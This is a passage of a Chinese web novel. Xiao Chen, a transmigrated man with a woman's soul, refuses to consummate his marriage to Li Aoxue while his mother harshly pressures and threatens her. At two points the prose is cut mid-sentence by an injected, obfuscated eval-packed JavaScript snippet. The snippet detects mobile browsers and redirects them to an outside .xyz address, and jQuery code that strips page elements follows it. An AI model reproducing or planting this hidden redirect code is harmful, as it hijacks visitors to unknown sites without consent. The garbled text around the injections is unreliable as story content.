肖晨喝了几口汤,又吃了些茶点,感觉精神好了许多。随后,他向李傲雪使了个眼色,李傲雪便带着丫鬟悄然退下。肖晨重新回到书案前,继续跟随老先生学习。只是,在学习的间隙,他的脑海中不禁浮现出李傲雪刚刚的模样,心中暗暗思忖,她今日这般举动,不知是否与肖母有关…… 肖晨晃了晃脑袋,将杂念驱散,觉得自己想得太多。毕竟肖母对李傲雪一直颇为满意,或许在这古代,女子本就该这般操持,体贴夫君也是常理。如此一想,他便定下心神,全神贯注地跟着老先生继续读书,沉浸在晦涩却又蕴含无尽智慧的古籍之中。 李傲雪从书房出来后,脚步匆匆地来到肖母身边。此时肖母正在花园的亭中,手持茶盏,悠然品茗。见到李傲雪过来,肖母抬了抬眼,问道:“给晨儿送过去了?他吃得如何?” 李傲雪赶忙福身,恭敬回道:“回娘的话,已经送过去了,少爷喝了汤,也吃了些茶点。”肖母微微点头,脸上露出一丝满意的神色,说道:“嗯,这便好。你往后啊,就得像这样,多关心晨儿。男人嘛,心都是被捂热的,你对他用心,他自然也会对你上意。” 李傲雪轻声应道:“儿媳明白,多谢娘教诲。儿媳日后定会好好伺候少爷。”肖母打量着李傲雪,又叮嘱道:“光伺候好还不够,今晚的事你可别忘了。为肖家开枝散叶才是头等大事,切莫再让我失望。” 李傲雪心中一紧,脸上泛起红晕,羞涩地低下头,小声说道:“儿媳记住了。”肖母看着她这副模样,摆了摆手,说道:“你先下去吧,好好准备准备。”李傲雪再次福身,这才转身离去,心中却像揣了只兔子般,慌乱又忐忑,不知今晚该如何面对肖晨。 到了中午,暖阳透过书房的窗棂,洒下斑驳光影。老先生有条不紊地合上手中古籍,微笑着对肖晨说道:“今日的课程便到此为止。”肖晨心中一松,原本他还以为会像现代学校那般,从早到晚都有课程安排呢。 老先生接着说道:“少爷,学问之道,贵在循序渐进、持之以恒。明日咱们接着上。不过,老夫观少爷的字,尚有提升空间,还需多加练习。字如其人,一手好字在日后的科举仕途上,亦是大有裨益。” 肖晨恭敬地应道:“多谢先生教诲,学生定当勤加练习。”肖父在一旁点头赞同:“先生所言极是,晨儿,你务必将先生的话牢记于心。” 说罢,肖父与肖晨一同将老先生送至门外,看着老先生离去的背影,肖父转身对肖晨说:“晨儿,为父知道读书辛苦,但你身负家族厚望,切莫懈怠。”肖晨郑重其事地点头:“父亲放心,儿子定不辱使命。” 随后,父子俩并肩往内堂走去,准备去用午饭。一路上,肖晨想着老先生说练字的事,暗自琢磨,古代的科举对书法要求颇高,看来自己得花些心思在这上面了。而另一边,李傲雪正在膳房忙碌,指挥着下人准备午饭,满心期盼着能让肖晨和肖家二老吃得满意,也希望借此能让自己在肖家的日子好过些。 一家人在饭厅依次落座,肖晨环顾一圈,却没瞧见李傲雪的身影,心中不禁疑惑,便开口问肖母:“娘,傲雪怎么没来?” 肖母神色自然,找了个借口说道:“她呀,去厨房了。说是想着咱们一家人口味各异,想亲自去记一记,以后好更好地操持家中饮食。这也是她的一番心意。” 肖父听闻,笑着点头:“嗯,这孩子倒是有心了。”肖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993164|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晨听了,心中泛起一丝暖意,虽说与李傲雪相处时日尚短,但她这份心意确实难得。 不一会儿,李傲雪从厨房出来,身后跟着几个丫鬟,端着热气腾腾的饭菜。她笑意盈盈地走到桌前,说道:“爹娘,少爷,午饭准备好了。也不知合不合大家口味,若有不妥之处,还望爹娘和少爷多多包涵。” 肖母看着满桌菜肴,点了点头:“看着倒是不错。傲雪,你也别忙活了,赶紧坐下吃饭。”李傲雪应了一声,乖巧地在肖晨身旁坐下。 用餐时,肖晨偶尔看向李傲雪,见她眼神中带着些许紧张与期待,想必是担心饭菜不合众人胃口。他夹了一筷子菜放入口中,细细品尝后说道:“味道很好,傲雪辛苦了。”李傲雪听闻,脸上顿时绽放出笑容,眼中满是欣喜:“少爷喜欢便好。” 一家人在温馨的氛围中享用着午餐,只是李傲雪心中除了关注众人对饭菜的反应,还一直记挂着肖母交代的事,想到晚上要面对的场景,心中又不禁有些慌乱和羞涩。 用完餐,肖父放下碗筷,看向肖晨,语重心长地说道:“晨儿,你刚成婚不久,理应多陪陪媳妇,莫要冷落了人家。”说罢,便与肖母一同起身离开。 待二老身影消失在视线中,肖晨转头看向李傲雪,神色有些不自然,轻声说道:“你要是没什么事,就去府里各处转转吧,也不用一直陪着我,你也有自己的事要忙。” 李傲雪听闻,心中微微一怔,眼中闪过一丝失落,但很快便恢复如常,她轻声应道:“好的,少爷。那您若有什么需要,尽管吩咐下人便是。”说完,她微微福身,转身缓缓离去。 看着李傲雪的背影,肖晨心中暗暗松了口气。他虽已与李傲雪成亲,但灵魂是女孩的他,面对李傲雪时总有种难以言说的尴尬,不知该如何自然相处。此时,偌大的厅中只剩他一人,他决定回书房,继续练习老先生所说的书法,或许沉浸在笔墨之间,能让他暂时忘却这些烦恼。 而李傲雪沿着回廊漫步,心中五味杂陈。她明白肖晨对自己并无男女之情,可在这深宅大院里,她又身不由己。路过花园时,看着满园盛开的花朵,她却无心欣赏,脑海中不断思索着该如何改变肖晨对自己的看法,如何完成肖母交代的任务,忧虑如同阴霾,笼罩着她的心。 李傲雪在花园中徘徊良久,不知不觉走到了一处偏僻的角落。这里有一座小小的八角亭,四周被郁郁葱葱的花木环绕,显得格外幽静。她缓缓走上亭中,坐在石凳上,望着眼前的景色,思绪纷乱如麻。 此时,一阵微风吹过,撩动她的发丝,也带来了几分凉意。李傲雪不禁打了个寒颤,心中的愁绪愈发浓重。她想到自己嫁入肖家后,虽然肖家二老对她尚无过多苛责,但肖晨的态度却始终让她捉摸不透。她深知,若不能与肖晨和睦相处,为肖家诞下子嗣,自己在这家中的地位终究不稳。 “难道真的要按照母亲说的,今晚……”李傲雪的脸颊瞬间滚烫起来,心中既羞涩又无奈。她自幼接受的是传统礼教的熏陶,要主动做出那样的事,实在是让她难以启齿。可若不如此,又怕肖母怪罪,给自己和家人带来麻烦。 另一边,肖晨在书房中铺开宣纸,拿起毛笔,试图让自己专注于练字。然而,他的心思却总是不由自主地飘向李傲雪。他也清楚,自己如今的身份已经成婚,应该承担起相应的责任,但内心深处,却始终无法将自己完全代入这个角色。 “或许,我应该试着和她好好相处?”肖晨一边在宣纸上写下歪歪扭扭的字迹,一边暗自思忖,“可又该如何相处呢?直接告诉她我的真实情况?那肯定不行,她又怎会相信如此荒诞之事……”想到这里,肖晨不禁叹了口气,手中的毛笔也顿住,墨汁在宣纸上晕染开来,如同他此刻纷乱的心绪。 时间在沉思中悄然流逝,不知不觉已近黄昏。夕阳的余晖透过窗户,洒在书房的地面上,将整个房间染成了暖橙色。肖晨放下毛笔,揉了揉发酸的手腕,决定出去走走,放松一下心情。而李傲雪也在此时起身,整理了一下衣衫,准备回房,为晚上即将到来的未知做些心理准备。两人在回廊的转角处不期而遇,目光交汇的瞬间,都有些微微一愣,随即各自别过头去,气氛显得有些尴尬。 4. 我不会碰你的,你不要逼我 肖晨主动打破沉默,开口问道:“你怎么在这里?”李傲雪微微低下头,轻声回答:“有些无聊,便出来走走。”肖晨听后,也没再多说什么,抬头看了看天色,说道:“都快晚上了,我们去吃饭吧。” 李傲雪微微点头,应了声“好”。两人并肩往饭厅走去,一路上,谁都没有再说话,只有脚步声在寂静的回廊里轻轻回响。 到了饭厅,饭菜已经摆好。两人相对而坐,肖晨随意地看了一眼桌上的菜肴,说道:“今天的菜看起来还不错。”李傲雪微微浅笑,说道:“少爷喜欢就好,这都是按照您和爹娘的口味准备的。” 用餐过程中,气氛有些沉闷。肖晨偶尔会抬头看一眼李傲雪,见她默默吃饭,举止优雅,心中不禁有些感慨。他知道李傲雪出身大家闺秀,言行举止都符合这时代对女子的要求,只是自己因为特殊原因,难以像寻常丈夫那般对待她。 吃完饭后,丫鬟们进来收拾碗筷。肖晨犹豫了一下,对李傲雪说道:“你……晚上早些休息吧。”李傲雪心中一紧,想起肖母白天的叮嘱,脸上浮现出一抹红晕,低声说道:“少爷,我……”话到嘴边,却又不知该如何说出口。 肖晨见她欲言又止的模样,疑惑地问道:“怎么了?”李傲雪咬了咬嘴唇,鼓起勇气说道:“少爷,今晚……我们……”肖晨瞬间明白她的意思,心中一阵慌乱,赶忙说道:“那个,你别误会,我只是觉得你今日想必累了,好好休息。” 李傲雪听了,心中既失望又羞涩,低下头不再说话。肖晨见状,也觉得有些尴尬,起身说道:“我还有些事,先回书房了。”说罢,匆匆离开饭厅,留下李傲雪一人呆坐在原地,心中五味杂陈。 在角落一直盯着他们的丫鬟,见此情形,不敢有丝毫耽搁,脚步匆匆地跑到肖母那里,将饭厅发生的事情一五一十地说了出来。肖母听后,脸色瞬间沉了下来,二话不说,立刻赶到饭厅。 肖母走进饭厅,看到李傲雪还呆坐在原地,满脸的失落与无助。她走到李傲雪面前,目光严厉地盯着她,质问道:“你晚上打算怎么办?难道就由着晨儿这样敷衍过去?你别忘了我白天跟你说的话!” 李傲雪被肖母的气势吓得一颤,赶忙起身,“扑通”一声跪下,眼中含泪说道:“娘,儿媳……儿媳也不知该如何是好。少爷他……他似乎无意于此,儿媳实在不知该怎么主动。” 肖母眉头紧皱,冷哼一声:“哼,你身为女子,确实有些话不好说出口,但事已至此,你也不能就这样坐以待毙。你得想办法勾起晨儿对你的兴趣,让他主动亲近你。这圆房之事,关系到我们肖家的香火,你可不能掉以轻心!” 李傲雪哭着说道:“娘,儿媳明白此事重大,可……可儿媳真的不知该从何做起。还望娘给儿媳指条明路。” 肖母看着跪地哭泣的李傲雪,心中虽有气,但也明白此刻不是责怪的时候。她思索片刻,缓缓说道:“你晚上回房后,好好打扮一番,再准备些少爷喜欢的点心,主动跟他聊聊。言语间温柔些、体贴些,莫要再像个木头似的。男人嘛,最吃这一套。记住,今晚无论如何,都要把事情办成,否则……”肖母没有再说下去,但那威胁的意味已然十分明显。 李傲雪赶忙点头,说道:“儿媳记住了,多谢娘指点。儿媳今晚一定尽力而为。”肖母这才脸色稍缓,说道:“起来吧,好好准备,别让我失望。”李傲雪缓缓起身,用手帕擦了擦眼泪,心中既紧张又忐忑,暗暗下定决心,一定要按照肖母说的去做,无论如何都要完成今晚的任务。 李傲雪精心打扮了一番,身着一袭淡粉色的纱裙,发丝间点缀着一朵小巧的珠花,显得温婉动人。她深吸一口气,端起准备好的热茶,迈着略显紧张的步伐走向书房。 推开书房门,肖晨正坐在书桌前,手中拿着一本书,听到动静抬起头来。见是李傲雪,他微微一愣,说道:“不是让你去休息吗,你怎么来了?” 李傲雪脸颊泛红,将热茶轻轻放在桌上,鼓起勇气说道:“少爷,新婚夫妻都是要睡在一起的。你不回房,我又怎能独自待着?” 肖晨听后,心中一阵慌乱。他看着李傲雪,一时不知该如何回应。他虽明白这是古代的常理,可自己的情况特殊,实在不知该如何面对。 沉默片刻,肖晨试图找个借口婉拒:“我……我今晚想多读会儿书,你先回房吧,别在这里陪着我耽误时间。” 李傲雪咬了咬嘴唇,眼中满是委屈与坚持:“少爷,读书虽重要,但也不能不顾及身子。您先喝口茶,歇一歇吧。而且,我也想在一旁陪着您,为您研磨添香,也好尽些妻子的本分。”说着,她走到一旁,拿起墨锭,轻轻在砚台上研磨起来,动作轻柔而娴熟。 肖晨看着李傲雪,心中有些不忍。但一想到要与她同处一室,甚至同榻而眠,内心又充满了抗拒。他无奈地叹了口气,说道:“傲雪,你不必如此。你我之间……唉,罢了,你既来了,便先在这坐会儿吧。”说罢,他又低下头,佯装看书,可书中的字却一个也看不进去,心中一直在思索着该如何应对这尴尬的局面。 李傲雪见肖晨终于松口,眼中闪过一丝欣喜,赶忙端起茶杯,递到肖晨面前,轻声说道:“少爷,你喝点茶,读书别太辛苦了。” 肖晨看着眼前温婉的李傲雪,心中暗自无奈,他深知躲得了一时躲不了一世,犹豫片刻后说道:“你去准备洗澡水吧,我洗好就去睡觉。你也去早点睡吧。” 李傲雪心中一喜,忙不迭点头应道:“是,少爷,我这就去安排。”说罢,她匆匆走出书房,去吩咐下人准备洗澡水。 不一会儿,洗澡水便准备好了。李傲雪回到书房,轻声告知肖晨。肖晨起身,跟着李傲雪来到沐浴的房间。待肖晨进去后,李傲雪守在门外,心中既紧张又期待。她回想起肖母的叮嘱,暗暗给自己打气,今晚无论如何都要和肖晨圆房。 过了许久,肖晨沐浴完毕走了出来。李傲雪迎上前去,说道:“少爷,水已经撤了,咱们回房吧。”肖晨微微点头,两人一同往房间走去。 到了房间,屋内已点上了红烛,摇曳的烛光将整个房间映照得温馨而暧昧。肖晨看着这熟悉又陌生的场景,心中愈发忐忑。李傲雪走到床边,坐下后轻轻拍了拍身旁的位置,眼神羞涩又带着期许,说道:“少爷……” 肖晨深吸一口气,走到床边坐下,却与李傲雪保持着一段距离。他不知道该如何迈出下一步,内心天人交战,十分煎熬。而李傲雪也紧张得手心出汗,她微微低下头,手指不安地绞着衣角,房间里的气氛一时变得极为微妙,安静得只能听到两人略显急促的呼吸声。 肖晨心里不断给自己打气,暗自思忖着:“自己在现代就是女生,女人什么样子自己再清楚不过,怕什么,把她当闺蜜不就行了。”然而即便这样想,面对如此情境,他还是难免紧张。 李傲雪见他坐在床边失了神,脸颊绯红,犹豫片刻后,还是鼓起勇气主动靠近肖晨,开始小心翼翼地给他宽衣解带。她的动作轻柔且带着几分羞涩,指尖触碰到肖晨衣物的瞬间,两人都微微一僵。 肖晨被李傲雪这突如其来的举动惊得回过神来,身体下意识地紧绷。但他又提醒自己要镇定,努力放松下来。李傲雪抬眼偷偷看了肖晨一眼,见他没有抗拒,便继续手中的动作,一颗一颗地解开衣扣。 随着衣物逐渐松开,房间里的气氛愈发旖旎。李傲雪心跳如鼓,不敢直视肖晨,而肖晨表面上故作镇定,可内心也是慌乱如麻。当李傲雪将肖晨的外衣脱下,轻声说道:“少爷,夜已深,早些安歇吧。”说罢,自己也侧身缓缓躺到床上,拉过被子,露出一双含情脉脉又略带紧张的眼睛看着肖晨。 肖晨深吸一口气,缓缓躺了下去,心里默默念叨着把李傲雪当作闺蜜,试图让自己平静下来。只是在这寂静的夜里,身旁躺着一位娇羞的女子,又怎能轻易平复心中的波澜,接下来的夜晚对他而言,注定是漫长而煎熬的。 李傲雪见肖晨依旧没有动静,心一横,咬着牙将身上的衣物一件件脱下,最后只剩下贴身的亵衣。轻纱般的亵衣勾勒出她曼妙的身形,肌肤在烛光下若隐若现。 肖晨看到这一幕,着实吃了一惊。但因内心实在把自己当作女性视角,第一反应竟以为李傲雪是觉得热,所以才脱衣,并没有过多往男女情事上联想。不过,出于本能,他还是不禁感叹:“她身材很不错。”但也仅仅是如同欣赏一件美好的事物,并没有生出别样的情愫。 李傲雪满脸通红,羞涩地钻进被子里,偷偷抬眼看肖晨,眼神中满是期待与紧张。她轻声唤道:“少爷……”声音娇柔婉转,带着丝丝缕缕的羞怯。 肖晨这才回过神来,意识到此刻情形的尴尬与暧昧。他的脸也微微泛红,心里有些不知所措。虽说在现代思想里,对身体的观念较为开放,但在这古代的情境下,面对如此主动的李傲雪,他还是有些无措。他清了清嗓子,说道:“傲雪,你……你这是做什么?”语气中带着一丝慌乱。 李傲雪咬着嘴唇,鼓起勇气说道:“少爷,我们既已成亲,理应……理应同床共枕,行夫妻之礼。”说完,便将头埋进被子里,不敢再看肖晨。 肖晨佯装一脸懵懂,仿佛真不晓得男女之事,说道:“我们这不已经睡在一起了嘛。”说着,还细心地给李傲雪掖了掖被子,温柔地说道:“天不早了,你也累了一天,早点睡吧。” 李傲雪心中焦急,见肖晨如此反应,一咬牙,紧紧抱住肖晨,身子微微颤抖,带着哭腔说道:“少爷,我们都是夫妻了,按照规矩,应该同房才行呀。若是……若是今晚不能圆房,娘那边我实在没法交代。” 肖晨被她这一抱,身子瞬间僵住,脸上一阵发烫。他知道李傲雪夹在中间为难,可自己实在无法突破心理障碍。他轻轻拍了拍李傲雪的背,试图安抚她,说道:“傲雪,你别着急。我……我只是觉得,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993165|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事儿太仓促了,我们应该再多些时间相互了解。你放心,我会跟娘解释的。” 李傲雪微微抬起头,泪眼汪汪地看着肖晨,楚楚可怜地说道:“少爷,娘的脾气您是知道的,她不会听您解释的。儿媳若是办不好这事,定会惹娘生气,往后在这家里也没脸见人了。”说罢,又往肖晨怀里蹭了蹭,将头埋得更深。 肖晨无奈地叹了口气,心中满是纠结。一方面是李傲雪的苦苦哀求,另一方面是自己内心的抗拒。他不知该如何是好,只能轻声安慰道:“傲雪,你先冷静冷静。要不这样,我们先好好睡一觉,明日再从长计议,如何?” 李傲雪眼眶泛红,声音带着哭腔道:“少爷,是不是在嫌弃我?还是我哪里做得不够好,您说出来,我都可以改呀。咱们是新婚夫妇,要是没有圆房,旁人会怎么看我,又会怎么议论肖家啊。” 肖晨面露难色,犹豫片刻后,还是硬着心肠说道:“我不是跟你说了吗,我对你现在没有那种感情。根本不可能跟你有亲密举动。你要是再逼我,我就出去。”说完,作势就要起身。 李傲雪一听,心中大骇,双手下意识地抱得更紧,哭着哀求道:“少爷,求您别这样。儿媳知道自己或许配不上您,可这都是娘的意思啊。您若走了,我真的不知道该怎么办了。”她泪流满面,身子因抽泣而微微颤抖,模样十分可怜。 肖晨看着李傲雪这般模样,心中也有些不忍,但他实在无法违背自己的内心。他停下起身的动作,放缓语气道:“傲雪,感情之事不能强求。我并非有意为难你,只是没办法强迫自己。你先松开我,咱们好好商量。” 李傲雪微微松开手,却依旧抓着肖晨的衣角,不敢有丝毫松懈,眼神中满是恐惧与无助,仿佛生怕肖晨下一秒就会离开。肖晨长叹一口气,思绪纷乱如麻,不知该如何化解这尴尬又棘手的局面。 肖晨看着李傲雪,目光坚定又带着一丝无奈,缓缓说道:“我已经和你说了,不会对你产生男女之情,自然也不会与你亲近。从昨天我们新婚之时,我就跟你把话说明白了。你也别再为难我了,好吗?” 李傲雪听闻,泪水如断了线的珠子般滚落,她满心悲戚,声音颤抖着说:“少爷,可是在这深宅大院里,我若不能与您圆房,往后的日子该如何是好?娘那边又该如何交代?我真的没有别的办法了呀。”她满心绝望,只觉得自己的命运好似被紧紧攥住,毫无挣脱的可能。 肖晨心中也满是纠结,他深知李傲雪的无奈,可自己内心的障碍却难以逾越。沉默良久,他缓缓开口:“傲雪,我明白你的难处。可感情这种事,实在勉强不得。要不这样,我明日会找个恰当的时机,好好跟娘说清楚,尽量不让你为难。你看行吗?” 李傲雪微微点头,可心中依旧充满担忧。她知道肖母的脾气,肖晨的话又能起多大作用呢?但此刻,她也只能把希望寄托在肖晨身上,松开了紧紧抓着肖晨衣角的手,低声啜泣着,在这寂静的夜里,她的哭声显得格外悲凉。 肖晨看着李傲雪哭得梨花带雨,终究还是见不得女孩子流泪,他轻叹一声,抬手轻轻替她擦干净眼泪,动作温柔而怜惜。 “傲雪,”肖晨的声音满是诚恳,“我也不想你只是为了顺从别人的意愿就过一辈子。你这么好,理应拥有属于自己的生活。感情的事强求不来,或许有一天,你会遇到那个能让你真正心动、你真心爱上的人。到那时,你便能拥有一段两情相悦的美好姻缘。” 李傲雪微微一怔,泪眼朦胧地看着肖晨,似乎从未想过他会说出这样的话。在她的认知里,女子嫁人后便只能依附于丈夫,遵循婆家的规矩。可肖晨的话,却如同一束光照进了她灰暗纠结的世界。 “少爷……”李傲雪嘴唇轻颤,想要说些什么,却又不知从何说起。她心中五味杂陈,既有对未来未知的迷茫,又因肖晨这一番体贴的话语而感到一丝温暖。 肖晨看着她,眼中满是鼓励:“所以,你别把自己逼得太紧,也别太在意旁人的眼光。人生还长,总会有转机的。”他顿了顿,又道,“今晚,你就安心睡吧,别想太多。” 李傲雪满心无奈,她明白自己实在没办法再逼肖晨太紧,心中虽有万般不甘心,可在这深沉的夜色与疲惫的情绪交织下,终是缓缓闭上了眼,带着满心的纠结与不甘,沉沉睡去。 她的呼吸逐渐平稳,在睡梦中,眉头却依旧微微蹙着,似是仍在为这难以解决的困境而烦恼。肖晨见她睡了,轻手轻脚地从床上起身,生怕惊扰到她。他走到窗边,望着窗外如水的月光,心中思绪万千。 他知道,李傲雪夹在中间着实不易,而自己的特殊情况又让这局面变得更加复杂棘手。明日要如何向肖母解释,又该如何在不伤害李傲雪的前提下,让她能在这肖家安稳生活,成了肖晨亟待解决的难题。月光洒在他身上,勾勒出他略显单薄又满是愁绪的身影,在这寂静的夜里,他独自思索着应对之策,久久未眠。 5. 被婆婆打的她 一夜过去,清晨的阳光透过窗户纸,轻柔地洒在床榻上。李傲雪悠悠转醒,睁眼便瞧见空荡荡的床铺另一侧,身旁已没了肖晨的身影。她微微一愣,随后才想起昨夜发生的种种,心中不禁又是一阵失落。 起身整理好衣衫,李傲雪简单洗漱过后,便前往前厅向肖家二老请安。一路上,她心中忐忑不安,不知该如何面对肖母。到了前厅,肖父肖母已坐在主位上,肖晨也在一旁。李傲雪赶忙上前,恭敬地行礼:“爹娘,儿媳给您们请安。” 肖母上下打量着李傲雪,见她神色略显憔悴,心中已然猜出几分,脸色顿时沉了下来。她冷哼一声,说道:“傲雪,昨晚的事办得如何了?”李傲雪心中一紧,低下头,嗫嚅着不知该如何作答。 肖晨见状,赶忙上前一步,说道:“娘,您别怪傲雪。是儿子觉得,与傲雪刚成婚不久,彼此还不够了解,想多些时间相处,再行夫妻之事。还望娘能理解。” 肖母听了,眉头紧皱,看着肖晨说道:“晨儿,你这话是什么意思?男婚女嫁,圆房生子乃天经地义之事。你们都成婚两日了,还这般推脱,像什么话!傲雪,你也是,怎么就不能劝劝少爷?” 李傲雪心中委屈,却又不敢辩驳,只得低声说道:“娘,儿媳无能,没能劝服少爷,还望娘责罚。” 肖父在一旁一直未作声,此时他放下手中的茶盏,缓缓说道:“夫人,晨儿既然这么说,想必也有他的考量。感情之事,强求不得,不如就随他们去吧,给他们些时间。” 肖母听了,虽心有不满,但也不好再反驳肖父,只得说道:“罢了罢了,就依老爷。傲雪,你可得多上点心,早日与晨儿圆房,为肖家延续香火。” 李傲雪赶忙应道:“是,娘,儿媳记住了。” 请安过后,肖晨和李傲雪一同离开前厅。李傲雪跟在肖晨身后,轻声说道:“少爷,多谢您方才为我解围。”肖晨回头看了她一眼,说道:“你我既已成亲,我自然不会让你独自面对这些。只是感情之事,还需慢慢来。” 李傲雪微微点头,心中对肖晨多了几分感激。两人正说着,忽然有下人来报,说李傲雪的娘家派人送了些东西过来,正在门外等候。李傲雪听了,赶忙前去查看。 李傲雪看着娘家人送来的一堆补品,还有那副格外显眼的百子千孙图,心中五味杂陈。她自然明白娘家人的殷切期望,可如今自己在这方面实在有心无力。此时,肖晨已转身去书房读书,她只能强打起精神,指挥着下人将东西妥善安置好。 还没等她喘口气,便有丫鬟匆匆跑来,说道:“少夫人,老夫人请您过去一趟。”李傲雪心中一凛,知道怕是肖母又要追问圆房之事了,但也只能硬着头皮前往。 到了肖母的院子,李傲雪迈进房门,福身行礼:“娘,您找儿媳何事?”肖母坐在椅子上,手中拨弄着念珠,抬眼打量了她一番,说道:“傲雪啊,你娘家送来的东西我都知道了。你也明白他们的意思,咱们肖家就盼着你和晨儿早日诞下子嗣。你说说,你打算什么时候把这事儿办了?” 李傲雪面露难色,犹豫片刻后说道:“娘,少爷他……他昨日也说了,想多些时间与儿媳相互了解。儿媳也在努力,只是……只是感情之事急不得呀。” 肖母眉头一皱,不悦道:“哼,了解?都成婚这么久了还不够了解?傲雪,你可别拿这话来搪塞我。我看你就是没上心!你若是再这般下去,让旁人看了笑话,我可饶不了你!” 李傲雪心中害怕,赶忙跪下,哭着说道:“娘,儿媳不敢。儿媳一定想办法,求娘再给儿媳些时间。” 肖母看着跪地哭泣的李傲雪,语气稍微缓和了些:“罢了,起来吧。我再给你些时日,你可得抓紧了。” 李傲雪起身,用手帕擦了擦眼泪,说道:“是,娘。儿媳记住了。” 从肖母院子出来,李傲雪满心疲惫。她漫无目的地走着,不知不觉来到了花园。看着园中的繁花似锦,却无心欣赏,心中一直在思索着该如何改变肖晨的想法,完成肖母交代的任务。 中午午,李傲雪等待老先生教授完诗词课,一直在留意着肖晨的动静。见他从书房出来,便赶忙迎上前去,眼中带着一丝期待,轻声问道:“少爷,我能陪你一起看书吗?” 肖晨心中一紧,他实在想避免与李傲雪过多接触,犹豫了一下说道:“不用了,我这会儿想出去逛逛,透透气。你要是想看书,自己去书房就行,书房里的书随你翻阅。” 李傲雪听了,眼中闪过一丝失落,但很快又强打起精神,说道:“那好吧,少爷。您出去逛逛也好,注意安全,早些回来。” 肖晨微微点头,转身离去。看着他渐行渐远的背影,李傲雪心中有些惆怅。但她想起肖母的叮嘱,又觉得不能就此放弃。思索片刻后,她决定还是先去书房,说不定能从肖晨平日爱看的书中,找到与他交流的切入点。 李傲雪来到书房,轻轻推开门,屋内弥漫着淡淡的墨香。她环顾四周,书架上摆满了各类书籍。她走到书架前,仔细翻看着,发现大多是诗词文集、历史典籍。她挑选了一本肖晨似乎经常翻阅的诗词集,坐在书桌前,认真研读起来,希望能通过这些文字,更了解肖晨的喜好与心境,为之后与他的交流做好准备。 而另一边,肖晨漫步在府中的花园里,思绪却不自觉地飘向李傲雪。他知道自己的态度或许有些冷淡,可又实在不知该如何面对这份特殊的“夫妻情”。他看着满园盛开的花朵,心中暗暗叹气,不知这复杂的局面该如何化解。 肖晨叫来贴身小厮,低声问道:“这城里有没有什么演奏得特别好听的乐馆?”名叫阿成的小厮赶忙点头,恭敬答道:“少爷,城中倒是有一家,名为‘悦音阁’,那里的乐师技艺精湛,弹奏的曲子在城里颇负盛名。”肖晨听了,眼中闪过一丝兴致,说道:“那你带我去吧。” 阿成不敢耽搁,立刻在前引路。二人出了肖府,一路朝着“悦音阁”走去。街道上热闹非凡,人来人往。肖晨看着周围的市井景象,心情稍稍放松了些。不多时,他们便来到了“悦音阁”前。 “悦音阁”装饰颇为雅致,朱红色的大门,门楣上挂着一块古朴的牌匾。门口站着两个伙计,见有客人来,赶忙笑脸相迎:“客官里边请,阁内正有精彩演奏呢。”肖晨和阿成走进阁内,里面布置得精致典雅,桌椅摆放整齐,台上一位乐师正专注地弹奏着乐曲,婉转悠扬的旋律在阁内回荡。 肖晨找了个空位坐下,点了壶茶,静静聆听。这乐声仿佛有一种魔力,将他从家中复杂的情境中暂时抽离出来。他微闭双眼,沉浸在这美妙的音律里,试图让自己连日来紧绷的神经舒缓下来。阿成则安静地站在一旁,看着自家少爷难得这般惬意放松的模样。 肖母听着下人汇报,得知儿子已经出去,且李傲雪还见了他,儿子才出门的。她心中顿时起疑,暗自思忖:一定是她惹了儿子不开心。于是,肖母匆匆来到书房,见李傲雪正坐在书桌前翻阅书籍。 肖母走进书房,脸色阴沉,质问道:“你怎么回事?怎么能让自己的夫君一个人出去?是不是你又说了什么,做了什么,惹晨儿不高兴了?” 李傲雪被这突如其来的质问吓了一跳,赶忙起身,恭敬地说道:“娘,儿媳没有。儿媳只是问少爷能不能陪他一起看书,少爷说想出去逛逛,便自行离开了。儿媳真的不知道哪里做得不好,让少爷不开心了。” 肖母眉头紧皱,在书房里来回踱步,说道:“你呀你,我不是都跟你说了要主动些,想办法拉近和晨儿的关系吗?你怎么连这点事都办不好!” 李傲雪眼眶微红,委屈地说道:“娘,儿媳已经很努力了,可少爷似乎有意回避儿媳。儿媳实在不知该如何是好。” 肖母停下脚步,看着李傲雪,语重心长地说:“傲雪,娘知道这对你来说有些难,但你要明白,你和晨儿早日圆房,对整个肖家都至关重要。你不能总是这么被动,要主动出击,想尽一切办法留住晨儿的心。” 李傲雪咬了咬嘴唇,坚定地点点头,说道:“娘,儿媳记住了。儿媳一定努力,不让您失望。” 肖母目光如炬地盯着李傲雪,加重了语气说道:“我还是不放心,今天晚上你必须做到和晨儿圆房。而且你不许告诉晨儿这是我的意思,要是明天他为此事来问我,你就等着被赶出去!” 李傲雪听后,身子不禁一颤,心中满是恐惧与无奈。她“扑通”一声跪下,泪水在眼眶中打转,哀求道:“娘,少爷他心意坚决,儿媳实在不知如何是好。但儿媳一定拼尽全力,求娘再给儿媳一些时间,别这么决绝。” 肖母冷哼一声,丝毫不为所动:“哼,时间?我已经给了你足够时间。今晚若是办不成,就休怪我无情。肖家容不下不懂规矩的媳妇。”说完,转身便走,留下李傲雪瘫坐在地,满心绝望。 李傲雪深知肖母言出必行,心中慌乱如麻。她缓缓起身,看着窗外渐暗的天色,想着今晚不知要如何面对肖晨,又该用怎样的法子达成肖母的要求。可无论怎么想,都觉得前路艰难,几乎看不到一丝希望。但为了能在肖家生存下去,她只能硬着头皮,去迎接这如临深渊般的夜晚。 